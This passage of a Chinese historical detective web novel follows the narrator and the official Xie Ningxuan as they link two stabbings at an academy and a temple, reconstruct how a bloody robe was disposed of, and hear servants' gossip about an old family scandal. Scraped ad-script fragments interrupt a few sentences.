然下一秒,我突然发现方才抱的太紧,我使劲勒着谢宁轩的腰,把他的腰带都扯到屁股上了。 天色再昏暗,背景再可怖,也没有我此刻的无地自容更让我心跳加速了。 我从他怀中跳出来,尴尬而又手足无措的站在一旁,看着谢宁轩不动声色的提了提腰带,伸手入怀掏出一块牌子。 他厉声道:“官府查案!你是何人?为何在此鬼鬼祟祟?” 那人一听,连滚带爬过来,嘴里大喊:“官爷,官爷,救命啊!那里、那里有个死人!” 死人! 心头一骇,我和谢宁轩四目相对,飘过无数不详猜想。 “羽书,得麻烦你速去寺门口,浮生他们肯定到了。”谢宁轩低声吩咐,“立即封锁寺院,任何人不得进出。” 我得了指令,当即朝小径疯狂跑去。此时满心满肺都是焦急,也顾不上害怕了。一路奔至寺院门口,果然见浮生正扮作香客在门口徘徊。 听我交代完,浮生一挥手,手下立即散开干活。他自己则随我朝后山跑去。 来回的奔跑耗费体力不少,等我气喘吁吁的跑回到亭子中,谢宁轩已经举着火把在林中检查了。浮生跑得快,这会儿正在给发现尸体的男子录口供。 见谢宁轩摇头,我惶恐地问:“是张海邦?” “是,已经死了。也是被刀捅的,凶器就在旁边掉着。” 天哪,他也死了! 我上前弯腰一看,是一把和白马书院案发现场遗留的非常相似的尖刀。目光再稍稍一移,正对上张海邦瞪得大大的眼。 他的表情很狰狞,仿佛临死都不能相信一般。身上、脸上喷射的到处都是血迹,在飘摇的火光映射下,异常恐怖。 我吓得闭上眼朝后退了两步,被谢宁轩扶住:“小心些,别踩到那块石头。” 说罢,谢宁轩伸手将石头捡起,我这才注意到石头侧面,歪歪扭扭写着一个血字。 瞳孔倏然收缩,我惊惧叫道:“这是……向字?向?天哪,方向杰!” 这是什么意思?张海邦临死前留的讯息吗?方向杰是凶手?天哪,怎么是他? 对待褴褛农夫的温和与耐心,不知为何,清楚的回映在脑海间。 这时,衙差已将锦业寺封锁,谢宁轩先去会见住持,其余人对林间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 搜索。火光通亮,那些可怖的树影山影顿时就化作无形。不多时,盘云山所在辖区的仵作到了,直接就地验尸。 搜索很快有了发现—— “头儿!这边发现了个玉佩!” “这边有个纱巾!” “这儿有个钱袋!” 此时,我却无动于衷的坐在亭中。 不是我消极对待,实在是这林中东西也太多了吧!接二连三发现各种各样的小玩意,衙差都搞懵了,叫来寺僧一问,原来这里风景迷人,居住的香客都喜欢到此处小酌品茶,有些狂放之士还以到林间漫步、攀谈山岩为乐,因此这附近掉落不少香客的东西,不足为奇。 果然,最后找到的香囊、玉佩等足有二十几件。这中间是否有张海邦的东西,是否有凶手的东西,无从辨别。 谢宁轩回来时,听到这消息也很无语。至于那目击证人,只是个着急解手的外地商人,今早才入京,慕名来此小住,连张海邦名字都没听过。 仵作也有了结果。 死者大约死在半个时辰前,身中十九刀而亡。身上没有搏斗的痕迹,地面上也没有发现蜿蜒的血迹,推测是凶手正面突袭,他被刺中要害后,失去反抗能力倒地。 我和谢宁轩听到十九刀时,已是浑身一震,待仵作话音一落,立即异口同声:“喉部可有伤口?” “有的,大人。” 同一个凶手,这是同一个凶手! 二公子是无辜的! 心血沸腾起来,我大叫道:“一样的刀数,一样的手法,这是同一个凶手!” 谢宁轩却冷静的多,他皱着眉头,朝同样亮着双眸神情激动的浮生下令:“速去请王副官来,刀口一致与否,还需要他给出结论。” 浮生不解:“大人,王小姐说得对,这已经能证明是连环案,卑职不应该立即前往狱中释放二公子吗?” “坊间传闻已沸沸扬扬,十九刀的细节也外泄。若有人本就想除去张海邦,浑水摸鱼了呢?”谢宁轩眯了眯眼。 但“咽喉伤口”的细节却没有外露。此间距离香客下榻的后山厢房不远,若是呼救不可能没引起任何关注。或许,凶手也是上来就先捅脖子,使得死者无法呼救。那这极其相似的手段,很难是模仿犯。 不过此案牵涉高官子弟,谢宁轩谨慎起见也对。不查的严丝合缝,确实不能草草交差。 现在也只能寄希望于我爹了,两具尸体刀口的角度、深度、力道,若是同一凶手所为,定能看出相似性。 我扫一眼沉默的望向漆黑林间的谢宁轩,知道他正担忧弟弟。便向浮生解释,后者听罢也没有追问,随即安排下属干活。 “别担心,我爹一定能查清的。” 谢宁轩将沉甸甸的目光投向我,勉强勾了勾嘴角,梨涡不见。 我和谢宁轩又回到对立相视的状态,彼此都在深思着。 张海邦明明是孟秋堂一案最大的疑犯,怎么也被杀了?是他发现了什么端倪,被灭口?还是他根本就是孟秋堂一案的同伙,内部闹翻被除? 与孟秋堂背后中刀不同,张海邦是被正面袭击。说明凶手出乎预料,不是他防备之人,难道是熟人?但盘问下见过张海邦的人,都说他在寺内未与人交流。 那他大晚上到这林间,是凶手约他在此相见吗? 凶手,会是石头上的血字——方向杰吗? 张海邦的死亡,无疑将案件带入了更深的迷雾,若是老爹查不出端倪,二公子还不知得在牢里待上几天。 案件一日不破,谢宁轩的压力就一日无法纾解。 而令此间谜团达到最大的则是,稍后,衙差竟在茅厕附近,找到了一件血衣。 84.后门耳房 我和谢宁轩俱感愕然。孟秋堂死时,凶手到底是如何处理掉血衣的,暂时还没有结论,这里倒是直接扔掉了。 我想起曾经的猜测,又问仵作,死者的手指可有异常。 仵作点点头:“右手拇指指腹上有一条狭长的伤痕,已经愈合,可以肯定是旧伤。” 谢宁轩丝毫没有惊讶,从怀中拿出一方帕子,上面正是一个血淋淋的拇指印,中间一条淡淡的竖线痕迹,和白马书院那本书上的发现一模一样。 原来谢宁轩也注意到了,还拓印下来让我辨别。 那就是说,书院当晚,藏身藏书阁,留下血手印的,果然是张海邦。 为什么?他在那里干什么?他杀了人? 可是我左右推理,推不下去啊。口供的矛盾、血衣的消失,这些都无法解释。 现在只能说,张海邦一定有问题。他说谎,会不会是…… 念及此处,刚巧谢宁轩抱臂皱眉,也提出一样的思路来。“羽书,你有没有想过,张海邦昨晚的可疑行径,或许是在帮人掩护?” 我没有诧异再次的同频,只沉沉点头:“嗯,或许他的确没有杀孟秋堂,但他参与其中了,一切诡异奇怪的行为,都是在袒护凶手。” 血衣消失之谜,嫁祸二公子的动机,或许都和真正的凶手有关。 也许,真凶杀了孟秋堂后,张海邦看到了但是帮忙隐瞒,或者他本身就是共犯。总之,他二人在东厢房换下血衣后,二公子恰巧进到院中。凶手携血衣离开,他则负责大叫引来其他人从而嫁祸二公子。 这次换谢宁轩点头:“嗯,宁辕泼水后立即往后院去,没有耽搁。那么,对凶手来说,这就是个突发情况。凶手事先无法预料,却能准确的利用他的行为做出嫁祸,说明宁辕进院子之后的一举一动都被目睹,才能找准时机。如凶手只有一人,恐怕不会如此游刃有余,且血衣当不会处理得如此干净。” “可是,”这里还是说不通,我提出,“凶手怎么离开呢?后院到前面,东西两处月拱门,各有游廊。二公子一直站在西边,张海邦大叫后的众人则从东边进入。左右堵死,那凶手,又是如何躲过众人视线?” 话一出口,我忽然意识到不妥。 谢宁轩也倏地眼前一亮,与我异口同声:“后门耳房!” 是了是了!一定是这样!我们确认后门一早关上且有人看守,当晚又未有人离开后,就将视线全部投在院中,却忘记了白马书院的布局。 书院呈五进,但为了不干扰学子学习、老师休息,最后一进院落与后门之间以一面琉璃影壁划分开。 也就是说,二公子打架那日,我陪他在后门探头探脑看到的长方形小院子并不是案发的最后一进院落,而是后门与琉璃影壁之间的小小空间。 琉璃影壁极长,站在进入五进院落的地方一看,还以为院墙就是这面影壁。其实游廊两侧设了出口,弯过影壁即可往后门去。 安排完后的浮生跑来,正好听到这段对话,也逐渐缓过味来,深长的“啊”了一声。 “所以张海邦大叫的时候,不仅引来了前面的师生,也把后门那唯一的看门人引了过来……对,是的,看门人的口供也是这么说的,去看了热闹。那就是说,他从影壁一侧跑进来,凶手就趁着这个关头从另一侧溜到后门!” 浮生搔搔头,又觉得不对,“可是后门是上了门闩的啊。卑职和守门人再三确认过,那门闩时间久了,开一下动静不小,如果当晚有人开门,定会发出声响。何况之后他回去看了,门关得好好的。凶手不可能是从后门溜走的呀。” 我摇摇头,心中已有了决断。 仍是四目相对,我望着谢宁轩,掷地有声:“他根本不需要开门,对不对?” 谢宁轩也看着我,眼中凝着光芒。 “是,他只需要将血衣包裹在包袱里扔出墙外。” 没错,此间的重点在于血衣消失,而非凶手逃离。 凶手的计划应该是将孟秋堂骗至最后一进院落突袭杀掉,将血衣换下暂时放在某处,继续去参加宴席。等宴席过后,按照惯例老师们还会小酌聚会,所以陈尧昇与另一位住在五进院子的老师暂时不会回去。凶手此时再去取血衣即可。 等到两个老师返回住处发现尸体,凶手和血衣早就从容离开了白马书院。 但二公子的出现打乱了凶手的计划,尸体被提前发现了,这时候谁离开书院,谁就有嫌疑。而血衣的存在能够锁定凶手的高低胖瘦,被发现会是个麻烦。所以凶手必须尽快处理掉血衣。 于是乎,张海邦的大叫便起到了一石二鸟的作用。 既引来目击者敲定二公子的嫌疑完成嫁祸,又可以引后门的看门人离开后门来看热闹。如此一来,后门与琉璃影壁之间的空间就无人注意,凶手得以在此,将血衣扔出后门墙外。 白马书院的后门所在街道我去过,还记得吗? 本就萧条,不过三两家商铺,学子们当晚参加书院宴会,后门外的商铺没的生意也就早早关了门,所以他只要将血衣扔出去,等到散场后再去收拾掉就行。 “啊,”浮生忽然一拍脑袋,“王小姐,你还记不记得今早咱们在书院听见第四进院子有动静?” “记得,怎么了?” “是有个住校的书生发现自己少了一套院服!” 这就对了! 因为书院的学生穿的都是统一的院服,案发当晚也是如此。凶手从同窗的屋里偷一套干净的院服换上,再把血衣处理掉,万无一失! “但……还是不对啊。”浮生想来想去,又提出三个疑问,“那他偷同窗的衣服,咱们想明白之后,还是可以据此确定大致的身高胖瘦。还有,万一当时墙外有人,发现了血衣怎么办?血衣是处理了,凶手又怎么离开书院呢?” “不,偷的这身衣服,不能锁定身形。”谢宁轩先解释道,“根据昨晚的口供,书院虽灯火通亮,但发生命案后,书院上下惊慌无比,人人躲之不及,或瑟缩或抱团。衙差来后,由于人数众多,也是分散询问,未将每人引至屋中详查。” 我顺口接道:“也即,参加宴会时,从容环境下,你的衣服合不合身,是不是你素日穿的大小,比较容易被察觉。凶手在案发之前,不会穿别人的衣服。但命案后,人人自危,谁会关心旁人的衣服合不合身?所以,凶手偷了同窗的衣服,并不能据此敲定,二者身材相似。” “至于后门外是否有人发现。”这次是谢宁轩接过话头,不自觉的娴熟与连贯,“只能说,凶手的确在赌,但赢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面很大。因为后门外本就是条萧条的街,且人人皆知,放榜日宴会进行极晚,结束后学生们还有几人能聚会小酌?所以,商家也都早早闭店了。” 事实上,从结果看,凶手也确实赌赢了。到现在,也没有后门商铺来报案。 当晚衙差赶到后,因院方笃定后门未曾开启且有人看管,所以并未在后门外的街道巡逻检查。而凶手也很清楚,书院内大多都是世家子弟,封锁不会长达一夜。他完全可以在封锁解除后,从容离开,行至后门收走血衣。 事态紧急,情况突变,凶手还能立马想到这招,可以说颇有急智了。 “可凶手怎么从容离开?”浮生又问一遍,还是有些糊涂。 “嗨,你想啊。”我补充道,将细节解释的更明白些,“当时书院内乍然响起张海邦的求救尖叫,本就三三两两分布着的老师学生急匆匆赶到,映入眼帘的血迹骇人可怖,还不直接把这帮书生学子们吓坏?谁从哪个方向来,谁先谁后抵达,会有人一一留意吗?从你们事后的询问来看,也根本无从追查,不是吗?” 谢宁轩颔首,又续道:“而接下来,张海邦还在不断的指证宁辕,宁辕则拼命辩白,这已经足够吸引所有人的注意力。就连后门耳房的看门人也跑到第五进院子围观。那个院落灯笼本就少,又人心惶惶,凶手扔完血衣包袱后,只需要趁大家不注意之际,从后门潜回到这批目击者的身后,假装刚刚听闻声音赶来即可。” 没错,这也就解释了凶手可以从容离开,或者说,根本不需要离开的原因。 浮生听明白了:“啊,怪不得,他偷了衣服,大家都穿的差不多,还真是能悄无声息潜入人群啊。” 谢宁轩朝我微微一笑,梨涡盈盈:“所以,大喊大叫,帮凶手争取了时间处理血衣的张海邦,肯定是帮凶。” 浮生连连点头,小鸡啄米间,忽又一顿:“咦,可是大人,张海邦在协助凶手更换血衣时手粘上了血,都弄到书上了,但咱们见到他的时候没看到他染血呀。” 谢宁轩微一思索:“你可记得那院服的颜色?” “上身月白,下身蓝紫色的长衫,底边绣着银纹。” “对,羽书不是说过吗?那本《左氏春秋》上,张海邦的手印也只有大拇指粘了血,说明他手上本就没有太多血迹。那晚院中昏暗,他只需要将血迹在衣服下摆内侧擦拭的不甚显眼,就足以让书院的人发现不了。” “至于你们没发现,也很简单。可还记得?院中就有一口水瓮?”我续过话头,“骤然出现杀人命案,情势混乱极了,官差到之前,所有人都紧盯着疑凶二公子。张海邦只消悄声挪到水瓮边,迅速清洗一下手指,根本不会引人注意。而你们来后,初步的审问,加之他是官宦子弟,你们自也不会去翻他的衣衫内侧。” 而水瓮,那么大一口水瓮中的水,清洗大拇指上的少少血迹,又怎么可能变色或飘出气味?所以衙差即便巡视检查水瓮,也不会发现什么。 “明白了,明白了!”浮生欣喜大叫,钦慕的看看我,又看看谢宁轩,竟冒出极其不合时宜的夸赞,“王小姐,你好厉害啊,完全能跟上我们大人的思路,毫不逊色!你们真是郎才女貌,登对……” “浮生!”谢宁轩轻呵一声,眼光立即朝我觑来。 85.双环扣玉佩 我知道,他怕我心生反感。 浮生伸了伸舌头,也不安的偷看我两眼。 我不想让他难堪,也不想泼浮生冷水,便轻咳两声,意图不动神色的转移话题。 熟料,谢宁轩却没放任话题流掉,他望着我,眼神是丝毫不掩的赞赏。 “羽书在很多时候,思虑比我更快更全,与其说她跟上我的思路,不如说我们总能想到一起去。不是吗,羽书?” 我怔怔地望着他,一时忘了回答。 怎么不是?自情窍开启,自明白男女感情,不是没有男生给我表白过,但无论校园中的模拟法庭讨论、工作后的案件复盘,我总是孤零零的,很少得到共鸣。 当我第一个琢磨出难题的出口,也甚少有人这样直白的夸赞。 现在,我终于遇到了他,或许该恶俗的取名,soul mate. 可惜,天意弄人。无数个暧昧的眼光交错,无数个试探的你退我进,我们甘之如饴,我们都以为掌控了可预测的未来。 偏偏在他深情表白之前,让我揭开了自欺欺人、不想面对的纱巾,窥到了这个朝代深深、不公、又不自知的残忍。 罢了罢了,多想无益。 一时沉默间,是浮生怯怯打破。“大人,王小姐,那、那现在是不是可以确定,凶手就是当晚白马书院中的一员?” 我也将天马行空的思绪扯回,强迫自己专注于案件,思索着道:“这是一早就能确定的。现在应该问,书院一百一十二人,可有其他人名字里带‘向’字?” 谢宁轩垂下眼睫,眸中光亮也熄灭了。但他还是摇了摇头,平静的回答:“没有,名册我看过,不会有错。” 我知道谢宁轩两天没睡了,但他的记忆力,我还是相信的。只是人在压力与疲倦之下,超负荷的工作,身体终是受不了的啊。因此老爹三更到后,我便劝他去睡一睡。 “不用了,我等等结果。” “我等,行吗?你哪怕去躺一躺,我爹消息传来,我立马去叫你,好吗?” 谢宁轩揉了揉眉心,露出一闪而过的软弱与疲倦。但什么话也没说,他只是又将目光投向了桌上的两个篮子。 我叹了口气,无奈地说:“这都是方才在林间捡到的东西,有很多是以前香客留下的,未必和今天案件有关。明天再一一翻查也来得及。去睡,去睡吧。” 谢宁轩抽回目光,幽幽望来,语气诚恳:“羽书,我知道你是为我好,但我现在真的无法静心休息,你明白的,对不对?母妃才回京,就听说宁辕入了大牢,一夜无眠。父王虽然不说,我知道他也是很担忧的。何况,抛开这层关系,我还是京城的父母官,尽早将无辜者释放,尽早抓到真凶,也是我的责任。” 面容憔悴、发髻微乱,眼中却仍是满满的坚持,如他以往的生机勃勃,成竹在胸。 我终是败下阵来,只得挪开眼神,伸手去拉篮子。 谢宁轩却拦下,反而劝我:“羽书,你去睡一会儿吧。太晚了,影响你休息了。” 我轻抬眼皮,无声的目光投去,他也就明白了。 如他如我,都不是能抛开心上愁思,躺下安枕的人。我们都为了对方好,岂会不知,对方也和自己一样,执着、不肯松快。 因此,我二人也就都没有再劝,只默契的一人拉过一个篮子,开始了翻找。 篮子里的东西很杂,我先翻出来一个玉佩,呈月牙状,看上去是姑娘带的东西;又翻到一个钱袋,里面竟还有二两银子;一个断裂的穗子,像是从腰带上撸下来的;一枚带着淡淡牡丹香气的香囊,闻着很好闻,上面绣着字…… 足足翻了十几样,我一一分开放在桌上。面对着陈列有序的小玩意,感觉自己在摆地摊。 谢宁轩也翻完了另一篮,脸色不佳,显然和我一样,毫无发现。 “这些东西都太平常了,很难断定是属于谁的东西,”我叹口气,“难道要叫来过锦业寺的香客一一来认吗?” 谢宁轩放下手中物什:“香客十有八九都是达官贵人,这不现实。” 说罢,他将手中的东西统统放回到篮子中,又开始将我这边的东西一一拾回。 我看着他的动作,一面絮叨:“假如凶手是同一个人,杀孟秋堂都没留下什么痕迹,这次杀张海邦也不太可能落下物证吧。假如不是,凶手也肯定计划好了杀人,既不是冲动作案,留下证物的可能……” “咦?”谢宁轩忽然打断了我的分析,目光直直停留在我最初拿出来的那枚玉佩上。 我有点懵,难道这么快打脸,谢宁轩认出来了? 翠色通透的玉佩呈月牙形,上端一个小孔,像是系绳饰物。 谢宁轩拿起来,错愕不已:“这块玉佩我见过。” “你见过?” “这是双环扣,由两块组成。一块弯月,一块月牙,凑在一起就是一个完整的圆形。我所见到的,便是与它配对的另一块弯月玉佩。” “你在哪见到的?” 谢宁轩抬起墨色沉沉的眸子:“孟秋堂身上。” “什么?”我差点跳起来。 “就挂在孟秋堂腰带上。尸体运到府衙,衣物脱下来的时候我还拿起看了看,不会有错。昨晚跟我回府衙认尸的孟府小厮也说,这是几年前孟秋堂就开始佩挂的饰物,每天不离。而对应的月牙玉佩……” 他顿了顿,压住不稳的气息,“则应该在方向杰身上。” 那块写着“向”的石头作为证物,正在这张桌子上陈列。我和谢宁轩同时望过去,眼中都是不解。 我先试探着推论:“这么说,这是方向杰今晚遗留在此的?可是,他为什么要杀张海邦?他们三人不是关系很好吗?昨天他不在书院,孟秋堂之死肯定与他无关,难道他知道了张是帮凶,来替孟报仇?” 谢宁轩也辨不明白,蹙眉道:“听孟府的人说,他们三人一向亲近,方向杰如果知道张海邦杀了自己的好友,确实有可能复仇。但问题是,张海邦为什么要杀孟秋堂?” “对啊,而且按照我们的推测,张海邦是帮凶,那他就帮了外人杀自己的朋友,这讲不通啊。这个外人又是谁?因什么而对孟秋堂有杀意?” 这两起案件都让人摸不着头脑,杀人动机完全成谜。按照书院上下的供词,还有孟府的说法,孟方张三人关系融洽,并无不和。张作为帮凶干掉孟,就已经很蹊跷了,如今他又惨死在锦业寺,那么三兄弟中仅剩的方向杰呢? 而且,我心中始终有些打转。 那日打架见闻,方向杰与孟、张二人,似乎并非一丘之貉,为什么会关系融洽,成为小团体呢?他明明和二公子也是好友啊。 谢宁轩沉吟片刻:“不管怎么说,方向杰的玉佩掉落在此,恐怕不是巧合。浮生!立即安排人前去方府请方向杰到府衙,就说协助调查,注意用词。中间盯紧,莫让他跑了。” 虽说抓住方向杰确是当务之急,可是这其中总感觉有些可疑。 我将玉佩再次拿起细观:“这东西怎么看都是情侣物件吧,一个弯月,一个月牙,镶嵌成满月,寓意很美好。感觉像是夫妻佩戴耶!孟秋堂、方向杰,俩大男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人,一人带个这?他俩不会是……” 谢宁轩目光玩味:“怎么?你听的说书摊又教会你什么了?” …… “羽书,”谢宁轩忽然又问,正色道,“你和浮生今早去书院路上,看到的人真的是方向杰吗?” “嗯?什么意思?” “方向杰在书院放榜日,没有去,当晚也不曾回府。说实在的,我曾一度怀疑方向杰也遭了毒手,可是你和浮生却说在去白马书院的路上见到了他。” “什么?方向杰也……死了?”我难以置信。 “不,我只是怀疑。”谢宁轩语气沉沉,“他没有去书院、没有回府,其他人也不知道他的行踪。而当晚,孟秋堂就被害了,这时间太巧了,让人不得人有所怀疑。” 这我倒是同意。 “可今天上午,我见到的和张海邦说的话的人,真的是方向杰啊。” “你确定?”谢宁轩再次追问。 脑海中闪过场景,我忽然有些心虚。 “额,你这么一问,我好像也不能确定了啊……我只看到了侧脸,但是当时我就觉得是方向杰。身高、身材、脸上有淤青……” 谢宁轩点点头:“好,那我们就当他活着,以这个作为基础来推断。白马书院一案坊间传的沸沸扬扬,他作为孟秋堂的知己,不可能没听说。可是盯梢孟府的衙差传来消息,未见他去孟府吊唁。” “他在刻意躲藏?”我接过话头,却又觉得处处矛盾,“可是昨晚他不在书院,孟秋堂之死与他何干?假如他是幕后黑手,躲着不回家,躲着不去孟府、不到府衙,他又为什么在街上和张海邦见面,人来人往他就不怕被人看见吗?” 谢宁轩看向我:“是啊,这就是我想不通的地方。” “可是……”我怀疑的朝尸体所在的丛林望了望,“张海邦写的血字不就是‘向’吗?如果凶手不是方向杰,为什么要留下这个血字?难道是凶手蓄意嫁祸,凶手写的血字?” “不排除这个可能。” “但他不是凶手,他躲什么?还有,这个石头可能是凶手嫁祸,那玉佩呢?”我不明白了。 谢宁轩沉吟着,恰在这时,老爹猛地推门进来,神情非常激动。 “谢府丞,这两个死者是被同一人所杀!” “真的!”我跳了起来,“太好了!二公子没有杀人!” 谢宁轩也跟着起身,面上终于有了松弛感。“王副官确认?” “是。”我爹笃定道,“从皮肉卷曲来看,喉部是第一刀,这和孟公子遭遇相同,说明凶手都有割喉令死者发不出叫声的打算。虽说今日并非背后割喉,但接下来的十八刀,刀口力度、深浅、方向都和孟公子尸身一样。两名死者是青壮年,凶手要杀他们,一定会使出全身力气,不会有保留,因此凶手不会伪装刀法。可以确认,两名死者是被同一人所杀。” 紧随其后的浮生高兴的直拍手:“太好了!我这就安排人回府衙释放二公子!” 这结果实在振奋人心,突然间,熬夜的疲倦感就消除了。 对谢宁轩而言,不仅保护了弟弟,也让自己得到了喘息。 毕竟,核查一桩杀人案,与核查一桩弟弟是疑兄的杀人案,所面临的压力差别太大。 当然,二公子的嫌疑解除,并不是案件的终了。事实上,同一凶手的验尸结果,反而将案件难度提高了。毕竟书院当晚没在场的方向杰也没了嫌疑。 可玉佩、石头,却变得无法解释了。一百二十余人中,都没有带着“向”字的名字,凶手,又会是谁呢? 86.八卦 在谢宁轩的一力指挥下,张海邦的死讯坊间未有任何传闻。这也侧面证实了孟秋堂之死一定有人故意散布。 是以,我回到家的时候,垂柳这个八卦头头带领大家聊的话题还停留在书院一案。 “我看,八成呀,是孟府遭了报应,报应到孟四公子身上了!”又画掷地有声。 我刚走进院子,听见这句直接惊呆。 “怎么回事怎么回事?什么报应?” “啊这……”又画吓一跳,看向垂柳支支吾吾,“小姐,你还是问垂柳吧,我是听她讲,才这么说的呀。” 垂柳搔搔头:“我、我也只是听过传闻,刚才大家说起孟公子死得惨,就想起来了而已。” “那快告诉我呀,我又没有怪你。”好奇心顿起,一夜没睡的困意又消失了。我上前拉住了垂柳的手,“快说啦,到底发生过什么事,为什么说孟府会遭报应?” 垂柳舔舔嘴唇,眼睛向上看,开始了讲述:“嗯,就是三年前,孟二公子,哦,就是这次死掉的孟四公子的嫡亲哥哥,成亲不过半年,新娘子就投湖了。坊间传闻,说是他逼死了自己的新妻。” 投湖?逼死? 咦,谢宁轩之前好像也提过一句,说孟府过去出现过一桩丑闻,与孟家二少爷有关。难道就是此事? “可为什么呢?”我听得糊里糊涂。 垂柳摊手:“就是不知道原因嘛。新娘母家也是官宦之家——哎呀,我忘了是谁家来着……” 又画怯怯张口:“好像是姓贺……” 垂柳一拍脑袋:“对对,就是!听说她娘家就不愿意了,还上孟府闹呢,场面也很难看。” “小姐,先润润口吧。”垂云端着盘西瓜走进来,一向做事妥帖的她,正睨着垂柳,“小姐,你别听垂柳瞎说,孟府那事我知道。我有个远房姨娘一直在孟府当差,她说过,那新娘子就是自杀。孟二少爷婚后就从军去了,成婚半年都没在家呆过几日。哪里会逼死新娘子嘛。” “谢谢!”我端起西瓜咬了一口,也朝她手中塞进一块,才又追问,“可为什么要自尽啊?不是才成婚半年吗?难道是被婆婆欺压了?” “不会啦!这桩婚事虽是高攀,孟府那样的人家,也断不会折磨新媳妇的呀。” “唔,那难道是另有心上人,反抗婚事无果,索性以身证道?” 端着西瓜的三人齐齐瞪着我,跟看个疯子一样。 行吧行吧,我又“离经叛道”了,我知道。 压下心口无奈,我只耸了耸肩:“那到底为什么,成婚短短就自杀,确实有些蹊跷。她与夫君,之前有些往来吗?还是纯粹靠父母之命,之前都没见过?” 这问题过于深入了,几个人都摇摇头答不上来。 垂柳歪着头说:“这等人家的婚事,哪有自主的呀,不都是媒妁之言吗?不过孟二公子,是不是有过美男子的称呼?坊间好像说,他生的十分秀气呢。” “男儿秀美有什么意思。”又画撇撇嘴,“嗯,孟二少爷好像挺洁身自好,没什么风流传闻。孟四公子爱去秦楼楚馆,这我倒是听说过。” 眼看话题跑偏,我只好往回拉拉:“先不讨论花边绯闻啦,你们刚说的可是‘报应’诶!这还没搞清楚。自杀……唔,新娘子既然是自杀,就不该有忌讳,何来‘报应’二字?莫非死因有问题?” “不不,小姐,她真的就是自杀。”垂云这次回答了,且十分笃定,直接击碎了我的设想,“姨娘说,娘家人当时闹得很厉害,告到了府衙呢。仵作一查,没有问题,娘家这才悻悻而归。” “仵作?我爹验的尸?” “听说是位年轻的仵作,老爷经常跟随齐王爷外出,应该当时不在京城。” 不是我爹,而三年前谢宁轩还在户部任职,这案子也没过他的手。 但当日官府介入调查,仵作也验尸了,既能以自尽结案,就说明没有玄机。 那这个八卦,和孟秋堂又能扯上什么关系嘛。 垂柳撅嘴,可怜巴巴:“我哪知道,又不是我说的,之前坊间就是这么传的嘛。据说出事时,是孟二公子难得休沐在家的日子,之后,他就自请调去驻守西域,而孟府则陆续遣散过一批下人,自然惹人肖想了呗。” 又画点点头:“听说这几日,刚巧是那新娘子的忌日,又逢孟四少爷死的那么惨,坊间这才怀疑,是报应索命来了!” 垂云赐给她二人一人一个白眼:“孟二公子新婚的时候,四公子还在秋山学府求学,连哥哥新婚都没参加。出事前夕,听说才回京入了白马书院,八成都没见过这位新嫂。孟府什么报应,能报应到他头上?” 又画语塞,吐吐舌头没有说话。 我也觉得有些牵强,毕竟这案子已经死了两个人,孟秋堂之死如与嫂嫂的自杀有关,那关张海邦什么事?凶手若为当年的命案报仇,不冲着新郎去,倒杀了小叔子和他的同窗,有点说不过去吧。 “那之后,孟二少爷又娶妻了吗?”想了想,我又问。 垂云思索着说:“好像没有,一直也没听说过。” “这不奇怪吗?”垂柳马上扬了眉,八卦欲望熊熊燃烧,“要是新娘子死的百无禁忌,干嘛不接着娶妻,开枝散叶呢?” 垂云侧了侧头,咬唇道:“你要这么说,的确有些奇怪。我听姨娘提起过,孟二少爷一直想从军,尤其向往将军百战死,马革裹尸之荣耀,无奈其母不舍,屡屡阻碍。” “这是为何?”又画也问,“即便去军中效力,他毕竟出身高贵,还能有什么危险啊?” “这你就不知道了吧。”回答的却是垂柳,眉飞色舞,“他有个哥哥,也是孟母所出,就是死在西域的呀!” 我一听就惊了,这大青朝海晏河清、四海宾服,边疆一向太平。怎么权势地位滔天的孟家,竟还在边疆死了个嫡长子? 我想起了同音不同字的清朝,顶级权贵富察家,不也在边疆战争中,付出了几条人命吗?那是英勇过人,不拘身份而冲在前线的大无畏牺牲。难道孟家,竟也有这般精神? 垂柳朝我附身贴近,神神秘秘道:“小姐可别想多了,这几年西域哪有战争啊!听说那孟大少爷,只是死于水土不服而已。” ……嗨,我当什么传奇故事呢。 不过这样说,失去一个儿子的孟母一朝PTSD,不愿另一个儿子也重蹈覆辙,这好象也没什么。但新婚后,怎么就允许儿子去从军了? “孟二少爷可中过武举呢!估计是百般要求,孟夫人还是拗不过儿子呗。婚事了了,也算是完成一桩心愿嘛。” “可是你们说,他是在妻子死后自请调去驻守西域的,那之前呢,在哪里效力?” “羽林军中,就在天子脚下呀。” “就在京城?那还半年回不了几次家?有意不回? ”我发出质疑,“再说,孟母拗不过儿子,还是答应他在京城从军,这好理解。眼皮底下,放心嘛。可为什么新妻死后,他要求去西域边防效力,孟母就答应了呢?这前后转变,有些突兀呀。” 垂云耸耸肩,这她也不甚了解了。 这时,又书端了饭进来,端详着我:“小姐脸色不太好,可是困了?吃点午饭再睡吧。” 她这么一说,困意登时上涌。但睡之前,我得先干一件事。 打了个哈欠,我拉住她,又朝又画招手:“来来,我告诉你们个消息,给又琴又棋也说一下。听了之后,你们肯定就放心啦。” 又书眨眨眼:“难道是……” “对,你们家二公子已经被证实与杀人案无关,今天就能放回家啦!” “太好了,太好了!”又画乐的直蹦,复又拍手叫道,“这下王爷和王妃娘娘可以放心了!哦,消息应该也会很快散开吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?二少爷的好朋友们,也牵挂得紧呢!” “你说何公子?”又书也咧着嘴,问了一句,“王府小厮不是说,何公子一早就去王府问二少爷是否放出,很是担忧呢吗?” “不止是他!昨日我上街采买,遇到了蒋扬少爷,他认出我来了,也问二少爷情况,连声叹气呢。” 困意上涌,乏的脑袋都不转了。当下我也没有深究,毕竟二公子虽然少爷脾性,心地还是很善良的,朋友众多并不稀奇。 但接下来的对话,又把我的困意驱散了些。 “哦,蒋公子还说了件怪事呢。” “什么?” “说是两三天没见到方公子了,还问我,方公子有没有去王府找二公子。” “方公子?这说的是方向杰?”我立时问。 “是啊,二少爷和方公子也是莫逆之交,来往很多呢!” 原来在方向杰朋友们的视角中,他也是下落不明,近几天都没现身。 今早从锦业寺下山时,我还听到衙差回禀,说方府也在寻人,似是方向杰一直没有回家。 奇了,他去哪了? 